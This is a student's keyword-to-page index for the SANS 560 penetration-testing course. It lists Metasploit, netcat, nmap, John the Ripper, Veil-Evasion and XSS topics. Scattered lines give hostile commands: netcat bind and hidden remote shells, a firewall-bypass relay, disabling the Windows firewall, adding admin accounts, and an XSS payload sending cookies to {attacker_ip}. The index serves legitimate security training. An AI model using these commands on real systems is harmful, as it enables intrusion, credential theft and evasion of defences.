SANS 560 Merged Keyword / Subtopic Index

Jikto - Java-based varient of Nikto \\ performs internal XSS scans	5 / 130
John (JtR) \\ 4 Cracking Modes	5 / 5
John (JtR) \\ Conf files (by OS) \\.conf or .ini	5 / 5
John (JtR) \\ Config File \\ John.conf	5 / 5
John (JtR) \\ Distributed Cracking	5 / 10
John (JtR) \\ Free .vs Commercial	5 / 4
John (JtR) \\ GPU Multi-threaded Pswd Cracking Tools	5 / 13
John (JtR) \\ GPU Pswd Cracking Tools	5 / 12
John (JtR) \\ john --restore \\ restarts john with the latest recovery (john.rec) file	5 / 7
John (JtR) \\ john --show {tgt_pswd_file} \\ Displays Pswds alredy cracked in john.pot	5 / 6
John (JtR) \\ john --test \\ Shows JtR speed comparisons (real .vs virtual)	5 / 9
John (JtR) \\ john.pot \\	5 / 6
John (JtR) \\ john.rec \\Recovery File overview	5 / 7
John (JtR) \\ John-MPI (JtR distributed cracking tool)	5 / 11
John (JtR) \\ make clean linux-x86-sse2 \\ compiling john for sse2 extensions	5 / 9
John (JtR) \\ make clean linux-x86-sse2 \\ Complies JtR with SSE2 CPU extensions	5 / 16
John (JtR) \\ Tuning for Speed (MMX, SSE2)	5 / 9
John (JtR) \\ Viewing Status \\ Gusses, time, %, pswd Range	5 / 8
Kon-boot \\ Boot loader; alters kernel (win or nix); removes need for paswd entry (null)	4 / 131
Lair - Pentest Collaboration Tool	1 / 117
LANMAN	4 / 149
LANMAN Challenge	4 / 152
Linux / sudo su - //run command as root//	1 / 54
Local Privledge Escalation - Categories	3 / 18
Local Privledge Escalation - Suites	3 / 18
Local Privledge Escallation - General	3 / 17
LookupAccountSID	2 / 161
LooupAccount API	2 / 161
ls -r c:\users | % {Select-String -path $_ -pattern password} 2>$null \\ Recursive search for passwrd in file contents (PS)	4 / 93
MagicTree - Team Pentest Collaboration Tool	1 / 116
Maimon Scan \\ -sM	2 / 54
Maintaining Inventory - General	1 / 114
Maintaining Inventory - How Discovered	1 / 115
Mallory - Web App Attack Proxy	5 / 97
Manage Accounts and Groups	4 / 21
MBSA // MS Baseline Sect Analyzer - Software Inventory tool	3 / 14
MediaWiki - Pentest Team Collaboration toom	1 / 116
Metadata - Doc type of Interest	1 / 122
Metadata - General	1 / 121
Metadata - Sources of Documents	1 / 123
MetaSploit Pro // Vuln Scanner	2 / 154
Methdology Components	1 / 105
Microsoft Baseline Security Analyzer	3 / 14
Mindset and Concepts	1 / 6
mknod backpipe p \\ creates a FIFO Named Pipe listener in NC	3 / 182

more {file.ext} \\ Pages through a file in std out	4 / 18
Moving Files // Push .vs Pull	4 / 6
Moving Files \\ ASCII Mode End of File Correction	4 / 7
Moving Files \\ File Trf Services	4 / 7
Moving Files \\ MSF, Paste, Echo	4 / 9
Moving Files \\ Pilfering Loot (psdws, hashes, SAM, SSH Keys, etc…)	4 / 11
Moving Files \\ System Comms (mapped drives\recent access\zone files\ email addresses\pswd files\source code)	4 / 14
msf \\ ?; exit;quit;sysinfo;shutdow;reg	3 / 63
msf \\ <tab><tab> // same as wild card for selecting options	3 / 130
msf \\ Addl Modules Overview	3 / 71
msf \\ Advanced Settings (show advanced)	4 / 168
msf \\ Arsenal	3 / 21
msf \\ Autopwn - Enumerates Client-side Programs	3 / 13
msf \\ Backgrounding Active Session	3 / 58
msf \\ Console IF	3 / 67
msf \\ dabases import - supported 3rd party tools	3 / 133
msf \\ database - db_connect {connects to a db}	3 / 127
msf \\ Database - Pentest Collaboration Tool	1 / 117
msf \\ Database // Adding information	3 / 129
msf \\ Database Command Cmds	3 / 127
msf \\ database db-status // status of db connection	3 / 127
msf \\ Database Manual Add / Delete syntax	3 / 131
msf \\ Database Table Overview	3 / 128
msf \\ Database Usage Overview	3 / 127
msf \\ db_nmap {options} \\ launches nmap from msfconsole; importes results in to msf database	3 / 132
msf \\ db-export cmd overview	3 / 127
msf \\ Displaying / Interacting with Sessions	3 / 56
msf \\ execute {exe's a file on the target host]	3 / 92
msf \\ exit {returns to the prior prompt level in msfconsole}	3 / 93
msf \\ exploit (backgrounded - z)	3 / 87
msf \\ exploit -j (Jobify execution)	3 / 51
msf \\ Exploit Module // General desc and OS breakdown	3 / 27
msf \\ Exploit/multi/handler	3 / 27
msf \\ File Movement options - Upload; Download; Cat; Edit	4 / 9
msf \\ File System Cmds	3 / 64
msf \\ Framework Console Prompt	1 / 51
msf \\ General Overview / Specs	3 / 62
msf \\ getgui - automates provision of RDP on tgt client (has roll-back opt)	3 / 170
msf \\ getsystem	3 / 73
msf \\ getsystem not loaded via Privs if not admin/system	3 / 73
msf \\ gettelnet - automates provision of telnet on tgt client (no Rollback opt)	3 / 168
msf \\ getuid	3 / 90
msf \\ hashdump	3 / 72
msf \\ Hashdump (Priv Module)	3 / 72
msf \\ Hashdump and Hashdump Script	4 / 164

msf \\ hosts --add {host} \\ manually add host to msf database	3 / 131
msf \\ hosts --delete - Removes all hosts from msf-DB	3 / 146
msf \\ hosts -R - automatically add search results to the HOSTS varable in msfconsole	3 / 144
msf \\ hosts -S - searchs msf DB for following criteria	3 / 144
msf \\ hosts -S linux - msf db search string to find linux hosts	3 / 144
msf \\ Ideltime	3 / 67
msf \\ Interface Definitions	3 / 25
msf \\ Jobs	3 / 54
msf \\ Keylogger	3 / 69
msf \\ Keyscan Options (Keylogger)	3 / 69
msf \\ keystroke logger options	3 / 96
msf \\ ls {list dir contents current location}	3 / 91
MSF \\ Metasploit Framework- General	3 / 20
msf \\ Mic Cmds	3 / 68
msf \\ migrate	4 / 188
msf \\ migrate {migrates to a different process}	3 / 95
msf \\ Module Definitions	3 / 20
msf \\ Module Types / Definitions	3 / 26
msf \\ Modules (Exploits; Payloads; Aux; Post-Module)	3 / 20
msf \\ msdopcode - looks up machine lang opcodes to find snipets for given functionality	3 / 24
msf \\ msfmap general oveview (optional)	3 / 74
msf \\ msfpescan - Seeks win EXE/Dll's likely to spt/embed exploits	3 / 24
msf \\ Networking Cmds	3 / 66
msf \\ nmap Results import directly to msf database	3 / 132
msf \\ Payload Single (Windows) -- General Use and Use Cases	3 / 31
msf \\ Payloads // General	3 / 30
msf \\ Payloads // stager + stage(s) = Full Payload deployment	3 / 30
msf \\ Pivoting via Route Cmd; Redirect traffic from attacker host->thru tgt1 -> tgt2	3 / 70
msf \\ Port Forwarding & pivoting	3 / 66
msf \\ Priv Module	3 / 72
msf \\ privs (used when not sys on host)	3 / 71
msf \\ Process Cmds	3 / 65
msf \\ ps {display processes}	3 / 90
msf \\ Psexec w/ PTH \\ Module accepts hash or password	5 / 70
msf \\ pwd (show current dir location)	3 / 91
msf \\ Remove ALL Hosts from msf-db (hosts --delete)	3 / 146
msf \\ resource - Designated a .rc file to load	3 / 120
msf \\ RHOSTS - multiple target selection overview	3 / 130
msf \\ Route Cmd - Chgs tgt host routing tbls; not route traffic from attacker to other host	3 / 70
msf \\ run vnc - converts meterpertur access to full vnc access	3 / 173
msf \\ Screenshot	3 / 67
msf \\ Screenshot; Idletime;uictl	3 / 67
msf \\ session options / interaction	3 / 59
msf \\ sessions	3 / 89
msf \\ sessions -K (Kill a session)	3 / 59
msf \\ shell {opens a shell prompt to tgt host}	3 / 93

msf \\ Shell Prompt	1 / 51
msf \\ Stage Overview // Description of general categories	3 / 33
msf \\ Stager Types // Overview	3 / 32
msf \\ Stealth Scan uses Syn Scan!!!	3 / 130
msf \\ sysinfo {displays host info}	3 / 90
msf \\ TimeStomp	3 / 72
msf \\ uictl (Disable kb / mouse)	3 / 67
msf \\ use exploit{x}; set payload {x}; set {options}; exploit	99 / 99
msf \\ user interfaces - General Overview	3 / 25
msf \\ vulns -p {port#} \\ lists from msf DB all hosts with vulns on said port #	3 / 145
msf \\ vulns -p {port#} searches for vulns in msf DB listening on that port	3 / 145
msf \\ Webcam	3 / 68
msf \\ Webcams and Mic's	3 / 68
msfencode // depercated msfconsole payload encoder	3 / 103
msfmap \\ optional module for port scanning from within MSF compromised host	3 / 74
msfvenom - AV Evasion	3 / 103
msfvenom // msfconsole payload encoder	3 / 103
msfvenon -f exe // creates a windows executable	3 / 43
nc -l {tgt ip} -p{port}	2 / 171
nc -l -p {port#} 0<backpipe |nc 127.0.0.1 22 1>backpipe \\NC Relay fw byp	3 / 182
nc -l -p {port#} -e /bin/sh \\ set up NC listner on that Linux host	3 / 156
nc -v -l -p {port} // Client User Agent / Banner grab	2 / 175
ncpa.cpl // Windows - Launches Networking Ctrl Pnl	1 / 57
nessus \\ Architecture	2 / 131
nessus \\ General	2 / 130
nessus \\ Results - General Oveview	2 / 135
nessus \\ Dangerous Plug-ins // General Info	2 / 134
nessus \\ Documenting Plug-in's	2 / 133
nessus \\ Plug-in Updates	2 / 132
nessus \\ Recording Scan Policies Use on test	2 / 133
nessus Vulnerability Scanner - General	2 / 130
net localgroup \\ List local groups on win host	4 / 21
net localgroup {group} {usrname} /del \\ Deleted local win user from a group	4 / 22
net localgroup administrators {username} /add \\ Win - add local usr to local Admins Group	4 / 21
net use \\{tgt ip} "" /u:"" // Windows SMB Null Session	2 / 158
net use \\{tgt_ip} /del \\ terminates an SMB session on remote tgt	4 / 27
net user \\ list local users on win host	4 / 21
net user {userName} {password} /add \\ Add a local User to a Win host	4 / 21
net user {usrname} /del \\ Deletes a local win user account	4 / 22
Netcat - Banner Grabbing Syntax	2 / 173
netcat - Client Info Grabbing	2 / 175
netcat - General Overview	2 / 170
netcat - General Usage	2 / 172
netcat - Grabbing Client User Agent Strings	2 / 175
netcat - Options	2 / 171
netcat - Options / Flags	2 / 171

netcat - port scanner snytax	2 / 174
netcat - port scanner syntax	2 / 174
netcat - Service String gathering	2 / 174
netcat - Service-Is-Alive Heartbeat sytax	2 / 176
netcat // Service-Is-Alive queries	2 / 176
netcat \\ piping std in/out syntax	2 / 170
netcat \\ Piping stdin and stdout syntax	2 / 170
netcat Client Mode - Generaql	2 / 171
netcat Listener Mode - General	2 / 171
netcat Service-Is-Dead scanner	2 / 177
netsh /? \\ displays networking settings for various options	4 / 23
netsh advfirewall set allprofiles state off // disables win firewall all profiles	3 / 77
netsh advfirewall show allprofiles \\ displays FW settings on local win host	4 / 23
netstat -natu \\ (Nix) Display host DNS info tgt knows	4 / 14
Network Services Test	1 / 18
Nikto - General	5 / 82
Nikto - Usage (3 pages long)	5 / 84
Nikto - Web App Vuln Scanner (General)	5 / 82
NIST 800_115 - Defintion	1 / 25
NIX Crypt functions (by symbol (e.g. 1$ =DES; 5$=SHA-256; 6$=SHA-512)	4 / 156
Nix Hosts sources : /etc/passwd; finger; who;	2 / 157
NLNZ - National Lib of New Zealznd	1 / 124
nmap // db_nmap runs an nmap scan and stored results in msf_db	3 / 129
nmap \\ {--Scanflags} - allows custom flag states to be specified	2 / 55
nmap \\ All Ports Scan {-p 0-65536} - scan all ports	2 / 9
nmap \\ {-Pn -sV -6 fe80::20c0%eth0} - IPv6 connect scan, no pre-scan, ver info, IF eth0	2 / 59
nmap \\ ACK Scan (-sA) // scan through ACLs and Filters	2 / 54
nmap \\ ACK Scan \\ -sA	2 / 54
nmap \\ address probing (prot/port usage) for UID-0 .vs Non-UID-0 users	2 / 48
nmap \\ -badsum // endpoints do not send RST during badsum scans, slower	2 / 68
nmap \\ Connect Scan \\ -sT	2 / 52
nmap \\ Connect Scan (SCADA perfered Scans) //-T2 -sT	2 / 52
nmap \\ Connect Scan (-sT)	2 / 52
nmap \\ Default scans top 1000 ports	2 / 9
nmap \\ Fast option (Top 100 ports by default)	2 / 51
nmap \\ Filtered Responses - Not from device TCP Stack / something in middle	2 / 35
nmap \\ FIN Scan (-sF)	2 / 54
nmap \\ general	2 / 42
nmap \\ Invoke NSE	2 / 116
nmap \\ IPv6 // All Scan typs supported incl NSE scripts	2 / 58
nmap \\ IPv6 Ping Sweep {--targets-ipv6-multicast-echo}	2 / 59
nmap \\ IPv6 Support General	2 / 58
nmap \\ IPv6 supported options	2 / 58
nmap \\ LUA Scripting Engine	2 / 116
nmap \\ LUA Scripting Engine (NSE)	2 / 116
nmap \\ Maimon Scan (-sM) FIN/ACK to 1	2 / 54
nmap \\ network sweeping (-sP) - general overview	2 / 49

Tip: Large Scope - Best Approach	2 / 11
TIP: Scan by IP, not Host Name	2 / 8
Tip: Speeding Up Scan - Hyper Fast Scanners	2 / 13
Traceroute - Linux // discover route packet takes	2 / 23
Traceroute - start @ UDP 33434 by default	2 / 24
traceroute - T (tcp syn default port 80)	2 / 24
Traceroute (NIX) Switches / Port \\ UDP default; starts @ 33434	2 / 24
Traceroute / Linux - General	2 / 24
traceroute ICMP Filter response // * (Exceeded in Transit)	2 / 23
Traceroute Overview	2 / 23
Tracert - Windows // General	2 / 26
Tracert (Win) Switches: ICMP; Max Hops=30; Max-wait=4000ms	2 / 26
Tracert // Windows	2 / 23
tracert -6 // Windows IPv6	2 / 23
Trouceroute -6 // Linux IPv6 version	2 / 23
Type - Ride-Along	1 / 23
type {file.ext} \\ Displays the file to std Out	4 / 18
type {file.ext} | find /c /v "" \\ counts the lines not null in a file	5 / 32
type {file.ext} | find /I "{string}" \\ search for string within file	4 / 18
type {file.ext} | findstr {regex} \\ Find Regex strings in a file	4 / 18
Typing and searching files	4 / 18
UDP - General overview	2 / 38
UDP Header	2 / 37
uid=0 ; Root-level access	99 / 99
uname -a \\ displays host name info from *nix host	3 / 156
User2sid // Windows tool to enum users	2 / 157
User2sid - General Usage	2 / 161
user2sid // acquire tgt machine SID portion	2 / 162
User2sid // uses LookupAccountname API to convert usr name to a SID	2 / 161
User2sid \\{tgt ip} {machine_name}	2 / 162
User2SID Tool Overview	2 / 161
useradd \\ Created a user acct on NIX	5 / 19
userdel \\ Deleted a user acct on NIX	5 / 22
Using SMB in Hydra (SID Ranges)	2 / 144
Veil-Evasion \\ generate {Creates payload in veil; builds .rc file}	3 / 115
Veil-Evasion \\ .rc file {auto session conf file}	3 / 108
Veil-Evasion \\ Cleaning prior Config .rc / Payloads	3 / 113
Veil-Evasion \\ Coding Lang Spt'd	3 / 105
Veil-Evasion \\ Creating the Exploit Code (Generate)	3 / 115
Veil-Evasion \\ Exiting	3 / 117
Veil-Evasion \\ Exploit Encoder	3 / 105
Veil-Evasion \\ Focus	3 / 105
Veil-Evasion \\ General	3 / 105
Veil-Evasion \\ List Modules	3 / 111
Veil-Evasion \\ Loading .rc file in msfconsole	3 / 120
Veil-Evasion \\ MSFConsole .rc config file	3 / 119
Veil-Evasion \\ Naming Payload Files	3 / 116

Windump - port of tcpdump	2 / 16
Windwos SID fields Overview	2 / 160
Winfingerprint // GUI and CLI tool for enum sessions,user, & groups	2 / 162
Winxp > // SMB Null Sessions disabled by default (AnonSAM=0)	2 / 158
Wipe Systems btwn Engagements	1 / 46
Wireless Security Test	1 / 18
Wireshark - Consistent String and Buffer Overflow Attacks	2 / 19
wmic process call create "c:\tools\nc.exe -d -l -p 4444 -e cmd.exe" \\remote nc shell w/o window open on remote host	4 / 73

XSS - <script>document.location="http://{attacker_ip}/{payload.ext}+document.cookie;</script>	5 / 129
XSS (Cross-Site-Scripting) - General	5 / 127
XSS (General)	5 / 127
XSS (More)	5 / 128
XSS \\ BeEF Exploit Framework	5 / 131
XSS \\ Two Types (Reflected and Stored)	5 / 132
XSS Detecting Stored .vs Reflected Vulns	5 / 135
Zed Attack Proxy (ZAP) \\ OWASP Nontransparent Proxy and Web Scanner	5 / 92
Zmap: IPv4 Single port scanner	2 / 13